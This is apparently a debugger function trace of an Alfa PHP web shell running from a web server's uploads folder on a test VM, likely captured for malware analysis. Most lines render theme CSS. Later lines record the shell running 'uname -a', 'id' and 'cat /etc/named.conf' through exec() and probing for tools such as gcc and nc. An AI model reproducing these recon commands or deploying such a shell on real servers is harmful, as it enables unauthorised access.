5 229 0 0.024499 2802160 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'button_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
5 229 1 0.024531 2802160
5 229 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#27979B'
5 230 0 0.024555 2802160 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#27979B' 'border: 1px solid {color};'
5 230 1 0.024572 2802312
5 230 R 'border: 1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border: 1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'button:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = 'input[type=submit]:hover'
5 231 0 0.024636 2802136 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'button:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 231 1 0.024671 2802136
5 231 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#27979B'
5 232 0 0.024696 2802136 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:2px solid {color};'
5 232 1 0.024714 2802312
5 232 R 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.button:hover,#addup:hover'
5 233 0 0.024771 2802672 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'button:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 233 1 0.024810 2802672
5 233 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#27979B'
5 234 0 0.024835 2802672 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 234 1 0.024852 2802848
5 234 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'outputs_text'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.ml1'
5 235 0 0.024919 2802672 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'outputs_text'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
5 235 1 0.024949 2802672
5 235 R '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#67ABDF'
5 236 0 0.024975 2802672 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#67ABDF' 'color: {color};'
5 236 1 0.024991 2802808
5 236 R 'color: #67ABDF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #67ABDF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.ml1{color: #67ABDF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'outputs_border'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.ml1'
5 237 0 0.025051 2802632 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'outputs_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
5 237 1 0.025083 2802632
5 237 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 238 0 0.025108 2802632 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'border: 1px solid {color};'
5 238 1 0.025125 2802784
5 238 R 'border: 1px solid #0E304A;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'border: 1px solid #0E304A;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.ml1{border: 1px solid #0E304A;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'uploader_border'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.inputfile'
5 239 0 0.025187 2802648 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'uploader_border'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 239 1 0.025221 2802648
5 239 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 240 0 0.025245 2802648 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 240 1 0.025263 2802824
5 240 R 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'uploader_background'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.inputfile strong'
5 241 0 0.025328 2802672 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'uploader_background'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
5 241 1 0.025361 2802672
5 241 R '#0E304A'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#0E304A'
5 242 0 0.025389 2802672 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#0E304A' 'background-color: {color};'
5 242 1 0.025407 2802824
5 242 R 'background-color: #0E304A;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #0E304A;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.inputfile strong{background-color: #0E304A;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'uploader_text_right'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.inputfile strong'
5 243 0 0.025479 2802648 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'uploader_text_right'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
5 243 1 0.025512 2802648
5 243 R '#FFFFFF'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#FFFFFF'
5 244 0 0.025537 2802648 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#FFFFFF' 'color: {color};'
5 244 1 0.025553 2802784
5 244 R 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #FFFFFF;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.inputfile strong{color: #FFFFFF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'uploader_text_left'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.inputfile span'
5 245 0 0.025613 2802632 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'uploader_text_left'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
5 245 1 0.025644 2802632
5 245 R '#25ff00'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#25ff00'
5 246 0 0.025668 2802632 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#25ff00' 'color: {color};'
5 246 1 0.025684 2802768
5 246 R 'color: #25ff00;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'color: #25ff00;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.inputfile span{color: #25ff00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'uploader:hover'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.inputfile:hover'
5 247 0 0.025745 2802632 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'uploader:hover'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
5 247 1 0.025778 2802632
5 247 R '#27979B'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#27979B'
5 248 0 0.025802 2802632 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#27979B' 'box-shadow:0 0 4px {color};border:1px solid {color};'
5 248 1 0.025820 2802808
5 248 R 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'uploader_progress_bar'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '.up_bar'
5 249 0 0.025889 2802672 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'uploader_progress_bar'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#00ff00', 'multi_selector' => ['.up_bar' => 'background-color: {color};']]
5 249 1 0.025920 2802672
5 249 R '#00ff00'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#00ff00'
5 250 0 0.025945 2802672 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#00ff00' 'background-color: {color};'
5 250 1 0.025962 2802824
5 250 R 'background-color: #00ff00;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #00ff00;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '.up_bar{background-color: #00ff00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'mysql_tables'
5 251 0 0.026019 2802648 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'mysql_tables'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#00FF00'
5 251 1 0.026045 2802648
5 251 R '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#00FF00'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.mysql_tables{color: #00FF00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'mysql_table_count'
5 252 0 0.026094 2802648 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'mysql_table_count'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#67ABDF'
5 252 1 0.026120 2802648
5 252 R '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#67ABDF'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.mysql_table_count{color: #67ABDF;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'copyright'
5 253 0 0.026168 2802648 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 630 1 'copyright'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = '#dfff00'
5 253 1 0.026193 2802648
5 253 R '#dfff00'
4 A /var/www/html/uploads/FileManagerFull.php 630 $value = '#dfff00'
4 A /var/www/html/uploads/FileManagerFull.php 631 $css .= '.copyright{color: #dfff00;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'scrollbar'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '*::-webkit-scrollbar-thumb'
5 254 0 0.026250 2802648 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'scrollbar'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
5 254 1 0.026282 2802648
5 254 R '#1e82b5'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#1e82b5'
5 255 0 0.026307 2802648 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#1e82b5' 'background-color: {color};'
5 255 1 0.026323 2802800
5 255 R 'background-color: #1e82b5;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #1e82b5;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
4 A /var/www/html/uploads/FileManagerFull.php 628 $key = 'scrollbar_background'
4 A /var/www/html/uploads/FileManagerFull.php 634 $k = '*::-webkit-scrollbar-track'
5 256 0 0.026390 2803672 alfa_getColor 1 /var/www/html/uploads/FileManagerFull.php 635 1 'scrollbar_background'
5 A /var/www/html/uploads/FileManagerFull.php 618 $target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
5 256 1 0.026422 2803672
5 256 R '#000115'
4 A /var/www/html/uploads/FileManagerFull.php 635 $color = '#000115'
5 257 0 0.026447 2803672 str_replace 0 /var/www/html/uploads/FileManagerFull.php 636 3 '{color}' '#000115' 'background-color: {color};'
5 257 1 0.026463 2803824
5 257 R 'background-color: #000115;'
4 A /var/www/html/uploads/FileManagerFull.php 636 $code = 'background-color: #000115;'
4 A /var/www/html/uploads/FileManagerFull.php 637 $css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
4 126 1 0.026506 2803616
4 126 R '.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
4 258 0 0.026779 2787232 htmlspecialchars 0 /var/www/html/uploads/FileManagerFull.php 1073 1 '/var/www/html/uploads/'
4 258 1 0.026800 2787424
4 258 R '/var/www/html/uploads/'
4 259 0 0.026817 2787344 htmlspecialchars 0 /var/www/html/uploads/FileManagerFull.php 1074 1 'FilesMan2'
4 259 1 0.026848 2787536
4 259 R 'FilesMan2'
4 260 0 0.026863 2787392 htmlspecialchars 0 /var/www/html/uploads/FileManagerFull.php 1075 1 'Windows-1251'
4 260 1 0.026878 2787584
4 260 R 'Windows-1251'
4 261 0 0.027658 2799520 __showicon 1 /var/www/html/uploads/FileManagerFull.php 1086 1 'loader'
4 A /var/www/html/uploads/FileManagerFull.php 1237 $s['btn'] = 'http://solevisible.com/images/btn.png'
4 A /var/www/html/uploads/FileManagerFull.php 1238 $s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4 A /var/www/html/uploads/FileManagerFull.php 1239 $s['loader'] = 'http://solevisible.com/images/loader.svg'
4 261 1 0.027720 2799520
4 261 R 'http://solevisible.com/images/loader.svg'
4 262 0 0.027739 2799520 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 1087 4 'uname -a' FALSE FALSE ???
5 263 0 0.027755 2799520 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'uname -a' FALSE
5 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
6 264 0 0.027783 2799520 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
6 264 1 0.027797 2799560
6 264 R TRUE
6 265 0 0.027810 2799544 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'uname -a' ''
6 265 1 0.029174 2800304
6 265 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
6 266 0 0.029221 2800080 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux']
6 266 1 0.029244 2800144
6 266 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 A /var/www/html/uploads/FileManagerFull.php 763 $out = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
5 263 1 0.029285 2799680
5 263 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 A /var/www/html/uploads/FileManagerFull.php 744 $data = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 262 1 0.029322 2799680
4 262 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
3 A /var/www/html/uploads/FileManagerFull.php 1087 $cmd_uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux'
4 267 0 0.029358 2799680 function_exists 0 /var/www/html/uploads/FileManagerFull.php 1088 1 'php_uname'
4 267 1 0.029374 2799720
4 267 R TRUE
4 268 0 0.029388 2799680 php_uname 0 /var/www/html/uploads/FileManagerFull.php 1088 0
4 268 1 0.029403 2799792
4 268 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
4 269 0 0.029422 2799792 substr 0 /var/www/html/uploads/FileManagerFull.php 1088 3 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64' 0 120
4 269 1 0.029440 2799888
4 269 R 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3 A /var/www/html/uploads/FileManagerFull.php 1088 $uname = 'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s = 1
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
3 A /var/www/html/uploads/FileManagerFull.php 1098 $s++
4 270 0 0.029581 2801072 phpversion 0 /var/www/html/uploads/FileManagerFull.php 1116 0
4 270 1 0.029594 2801136
4 270 R '7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
4 271 0 0.029612 2801584 date 0 /var/www/html/uploads/FileManagerFull.php 1124 1 'Y-m-d H:i:s'
4 271 1 0.029673 2803936
4 271 R '2023-02-12 16:44:44'
4 272 0 0.029696 2801856 _alfa_file 1 /var/www/html/uploads/FileManagerFull.php 1130 2 '/etc/named.conf' FALSE
5 273 0 0.029713 2801856 file 0 /var/www/html/uploads/FileManagerFull.php 2507 1 '/etc/named.conf'
5 273 1 0.029742 2802008
5 273 R FALSE
4 A /var/www/html/uploads/FileManagerFull.php 2507 $array = FALSE
5 274 0 0.029768 2801968 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2509 4 'id' FALSE FALSE ???
6 275 0 0.029783 2801968 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'id' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 276 0 0.029807 2801968 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 276 1 0.029821 2802008
7 276 R TRUE
7 277 0 0.029833 2801992 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'id' ''
7 277 1 0.031257 2802592
7 277 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
7 278 0 0.031284 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
7 278 1 0.031302 2802512
7 278 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 275 1 0.031332 2802048
6 275 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 274 1 0.031362 2802048
5 274 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 279 0 0.031379 2801968 addslashes 0 /var/www/html/uploads/FileManagerFull.php 2510 1 '/etc/named.conf'
5 279 1 0.031393 2802000
5 279 R '/etc/named.conf'
5 280 0 0.031409 2802016 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2510 4 'cat "/etc/named.conf"' FALSE FALSE ???
6 281 0 0.031425 2802016 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'cat "/etc/named.conf"' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 282 0 0.031451 2802016 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 282 1 0.031471 2802056
7 282 R TRUE
7 283 0 0.031485 2802040 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'cat "/etc/named.conf"' ''
7 283 1 0.032662 2802160
7 283 R ''
7 284 0 0.032685 2802096 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 284 1 0.032700 2802160
7 284 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 281 1 0.032726 2802016
6 281 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 280 1 0.032751 2802016
5 280 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2510 $data = ''
4 272 1 0.032775 2801968
4 272 R FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1130 $d0mains = FALSE
3 A /var/www/html/uploads/FileManagerFull.php 1131 GLOBALS['need_to_update_header'] = 'true'
4 285 0 0.032817 2801968 alfaSize 1 /var/www/html/uploads/FileManagerFull.php 1146 1 232015802368
5 286 0 0.032832 2801968 sprintf 0 /var/www/html/uploads/FileManagerFull.php 2411 2 '%1.2f' 216.08155441284
5 286 1 0.032849 2802352
5 286 R '216.08'
4 285 1 0.032863 2802008
4 285 R '216.08 GB'
4 287 0 0.032878 2802192 alfaSize 1 /var/www/html/uploads/FileManagerFull.php 1146 1 208211271680
5 288 0 0.032892 2802192 sprintf 0 /var/www/html/uploads/FileManagerFull.php 2411 2 '%1.2f' 193.91185760498
5 288 1 0.032906 2802576
5 288 R '193.91'
4 287 1 0.032920 2802232
4 287 R '193.91 GB'
3 A /var/www/html/uploads/FileManagerFull.php 1149 $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>'
4 289 0 0.032961 2801968 ini_get 0 /var/www/html/uploads/FileManagerFull.php 1150 1 'safe_mode'
4 289 1 0.032976 2802000
4 289 R FALSE
4 290 0 0.032990 2801968 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 1151 4 'id' FALSE FALSE ???
5 291 0 0.033004 2801968 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'id' FALSE
5 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
6 292 0 0.033029 2801968 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
6 292 1 0.033042 2802008
6 292 R TRUE
6 293 0 0.033055 2801992 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'id' ''
6 293 1 0.034370 2802592
6 293 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
6 294 0 0.034397 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => 'uid=33(www-data) gid=33(www-data) groups=33(www-data)']
6 294 1 0.034416 2802512
6 294 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 A /var/www/html/uploads/FileManagerFull.php 763 $out = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
5 291 1 0.034446 2802048
5 291 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 A /var/www/html/uploads/FileManagerFull.php 744 $data = 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
4 290 1 0.034476 2802048
4 290 R 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
3 A /var/www/html/uploads/FileManagerFull.php 1153 $userful = [0 => 'gcc', 1 => 'lcc', 2 => 'cc', 3 => 'ld', 4 => 'make', 5 => 'php', 6 => 'perl', 7 => 'python', 8 => 'ruby', 9 => 'tar', 10 => 'gzip', 11 => 'bzip', 12 => 'bzialfa2', 13 => 'nc', 14 => 'locate', 15 => 'suidperl']
3 A /var/www/html/uploads/FileManagerFull.php 1154 $x = 0
4 295 0 0.034529 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'gcc'
5 296 0 0.034544 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which gcc' FALSE FALSE ???
6 297 0 0.034559 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which gcc' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 298 0 0.034584 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 298 1 0.034598 2802048
7 298 R TRUE
7 299 0 0.034612 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which gcc' ''
7 299 1 0.035660 2802552
7 299 R '/usr/bin/gcc'
7 300 0 0.035685 2802448 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' [0 => '/usr/bin/gcc']
7 300 1 0.035702 2802512
7 300 R '/usr/bin/gcc'
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = '/usr/bin/gcc'
6 297 1 0.035729 2802048
6 297 R '/usr/bin/gcc'
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = '/usr/bin/gcc'
5 296 1 0.035755 2802048
5 296 R '/usr/bin/gcc'
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = '/usr/bin/gcc'
4 295 1 0.035780 2801968
4 295 R 12
3 A /var/www/html/uploads/FileManagerFull.php 1155 $x++
4 301 0 0.035805 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'lcc'
5 302 0 0.035819 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which lcc' FALSE FALSE ???
6 303 0 0.035835 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which lcc' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
7 304 0 0.035859 2802008 function_exists 0 /var/www/html/uploads/FileManagerFull.php 761 1 'exec'
7 304 1 0.035873 2802048
7 304 R TRUE
7 305 0 0.035887 2802032 exec 0 /var/www/html/uploads/FileManagerFull.php 762 2 'which lcc' ''
7 305 1 0.036922 2802152
7 305 R ''
7 306 0 0.036946 2802088 join 0 /var/www/html/uploads/FileManagerFull.php 763 2 '\n' []
7 306 1 0.036961 2802152
7 306 R ''
6 A /var/www/html/uploads/FileManagerFull.php 763 $out = ''
6 303 1 0.036987 2802008
6 303 R ''
5 A /var/www/html/uploads/FileManagerFull.php 744 $data = ''
5 302 1 0.037012 2802008
5 302 R ''
4 A /var/www/html/uploads/FileManagerFull.php 2404 $path = ''
4 301 1 0.037035 2801968
4 301 R FALSE
4 307 0 0.037049 2801968 alfaWhich 1 /var/www/html/uploads/FileManagerFull.php 1155 1 'cc'
5 308 0 0.037070 2802008 alfaEx 1 /var/www/html/uploads/FileManagerFull.php 2404 4 'which cc' FALSE FALSE ???
6 309 0 0.037086 2802008 _alfa_php_cmd 1 /var/www/html/uploads/FileManagerFull.php 744 2 'which cc' FALSE
6 A /var/www/html/uploads/FileManagerFull.php 758 $out = ''
